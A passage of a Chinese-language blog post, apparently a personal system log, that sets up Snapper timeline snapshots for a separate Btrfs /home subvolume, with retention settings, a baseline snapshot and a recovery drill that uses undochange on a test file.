&lt;li&gt;&lt;code&gt;/home&lt;/code&gt; 与 &lt;code&gt;/srv&lt;/code&gt; 不回滚；&lt;/li&gt;
&lt;li&gt;Snapper 快照与原数据仍在同一块 SSD 上，无法应对硬盘损坏、整机丢失或误操作整个文件系统。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此恢复层次会是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;单个配置文件出错：&lt;code&gt;diff&lt;/code&gt; 后 &lt;code&gt;undochange&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;DNF 事务或大范围系统配置损坏：评估后在 Live 环境替换根子卷；&lt;/li&gt;
&lt;li&gt;磁盘或整机故障：依赖以后建立的异机备份，而不是 Snapper。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://manpages.opensuse.org/Tumbleweed/snapper/snapper.8.en.html" target="_blank" rel="noopener"
&gt;snapper(8)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://documentation.suse.com/smart/systems-management/html/snapper-basic-concepts/index.html" target="_blank" rel="noopener"
&gt;SUSE - The Basic Concepts of Snapper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="为-home-增加独立快照"&gt;为 /home 增加独立快照
&lt;/h3&gt;&lt;p&gt;根快照配置完成后，我决定也为独立的 &lt;code&gt;/home&lt;/code&gt; 子卷建立 Snapper 时间线。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/home&lt;/code&gt; 是 subvolid 258 的独立 Btrfs 子卷，不会包含在 &lt;code&gt;root&lt;/code&gt; 快照中。这里单独创建名为 &lt;code&gt;home&lt;/code&gt; 的 Snapper 配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home create-config /home
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;命令执行成功，&lt;code&gt;snapper list-configs&lt;/code&gt; 现在包含：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;配置 │ 子卷
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;─────┼──────
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;home │ /home
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root │ /
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;与根目录不同，&lt;code&gt;/home&lt;/code&gt; 下面目前没有预先创建的 &lt;code&gt;.snapshots&lt;/code&gt; 子卷，因此直接让 Snapper 创建 &lt;code&gt;/home/.snapshots&lt;/code&gt;。它是 &lt;code&gt;/home&lt;/code&gt; 的子子卷，Btrfs 对 &lt;code&gt;/home&lt;/code&gt; 拍快照时不会递归包含快照仓库本身。&lt;/p&gt;
&lt;p&gt;按照“空间充足，但仍然必须有明确上限”的原则，保留策略为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最近 24 小时：每小时 1 个；&lt;/li&gt;
&lt;li&gt;最近 14 天：每天 1 个；&lt;/li&gt;
&lt;li&gt;最近 8 周：每周 1 个；&lt;/li&gt;
&lt;li&gt;最近 6 个月：每月 1 个；&lt;/li&gt;
&lt;li&gt;不保留季度和年度快照。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;timeline 最终约保留 52 个时间点。配置命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home set-config &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_CREATE=yes&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_CLEANUP=yes&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_HOURLY=24&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_DAILY=14&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_WEEKLY=8&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_MONTHLY=6&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_QUARTERLY=0&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_YEARLY=0&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;NUMBER_CLEANUP=yes&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;NUMBER_LIMIT=20&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;NUMBER_LIMIT_IMPORTANT=10&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;EMPTY_PRE_POST_CLEANUP=yes&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际配置值：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SUBVOLUME │ /home
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;QGROUP │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_CREATE │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_CLEANUP │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_HOURLY │ 24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_DAILY │ 14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_WEEKLY │ 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_MONTHLY │ 6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_QUARTERLY │ 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_YEARLY │ 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_CLEANUP │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_LIMIT │ 20
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_LIMIT_IMPORTANT │ 10
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;/home/.snapshots&lt;/code&gt; 的实际 Btrfs 信息：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: .snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subvolume ID: 267
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Parent ID: 258
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Top level ID: 258
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Quota group: n/a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;不为 &lt;code&gt;home&lt;/code&gt; 配置 DNF5 pre/post hook。软件包事务只改变系统根，DNF 快照继续使用 &lt;code&gt;root&lt;/code&gt; 配置；&lt;code&gt;home&lt;/code&gt; 只接受 timeline、important 基线和明确创建的手工快照。&lt;/p&gt;
&lt;p&gt;全局的 &lt;code&gt;snapper-timeline.timer&lt;/code&gt; 和 &lt;code&gt;snapper-cleanup.timer&lt;/code&gt; 已经启用，它们会遍历所有 Snapper 配置，因此不需要为 &lt;code&gt;home&lt;/code&gt; 新建另一组 timer。&lt;/p&gt;
&lt;p&gt;创建一个 home 基线：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type single &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;Home baseline before Nix&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --userdata &lt;span class="nv"&gt;important&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yes &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;返回快照编号 &lt;code&gt;1&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# │ 类型 │ 清空 │ 描述 │ 用户数据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1 │ single │ number │ Home baseline before Nix │ important=yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最后做一次独立于根配置的恢复演练：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo snapper --config home create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type pre &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;home recovery smoke test&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;this home file should be removed by snapper&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; /home/veno/.snapper-home-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;post&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo snapper --config home create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --type post &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --pre-number &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --print-number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --cleanup-algorithm number &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --description &lt;span class="s1"&gt;&amp;#39;home recovery smoke test&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home status &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home diff &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /home/veno/.snapper-home-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home undochange &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /home/veno/.snapper-home-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;test&lt;/span&gt; ! -e /home/veno/.snapper-home-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config home delete &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$pre&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际创建的 pre 是 &lt;code&gt;#2&lt;/code&gt;，post 是 &lt;code&gt;#4&lt;/code&gt;。编号中间跳过 &lt;code&gt;#3&lt;/code&gt;，是因为演练期间正好跨过整点，timeline timer 自动创建了第一份 home 时间线快照。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;status&lt;/code&gt; 和 &lt;code&gt;diff&lt;/code&gt; 输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+..... /home/veno/.snapper-home-recovery-test
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@@ -0,0 +1 @@
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+this home file should be removed by snapper
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;执行恢复：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;创建：0 修订：0 删除：1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;home recovery test: PASS (file removed)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;删除测试用的 &lt;code&gt;#2/#4&lt;/code&gt; 后，home 只留下 important 基线和自动时间线：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# │ 类型 │ 清空 │ 描述 │ 用户数据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1 │ single │ number │ Home baseline before Nix │ important=yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3 │ single │ timeline │ timeline │
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最终验收：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;home&lt;/code&gt; 配置指向 &lt;code&gt;/home&lt;/code&gt;：通过；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/home/.snapshots&lt;/code&gt; 是 subvolid 267 的独立 Btrfs 子卷：通过；&lt;/li&gt;
&lt;li&gt;timeline 保留值为 24/14/8/6：通过；&lt;/li&gt;
&lt;li&gt;important home 基线 &lt;code&gt;#1&lt;/code&gt; 存在：通过；&lt;/li&gt;
&lt;li&gt;单文件 undochange 成功，测试快照已清理：通过；&lt;/li&gt;
&lt;li&gt;两个全局 timer 仍为 enabled/active：通过；&lt;/li&gt;
&lt;li&gt;timer 同时为 root 创建 &lt;code&gt;#4&lt;/code&gt;、为 home 创建 &lt;code&gt;#3&lt;/code&gt;：通过。&lt;/li&gt;
&lt;/ol&gt;
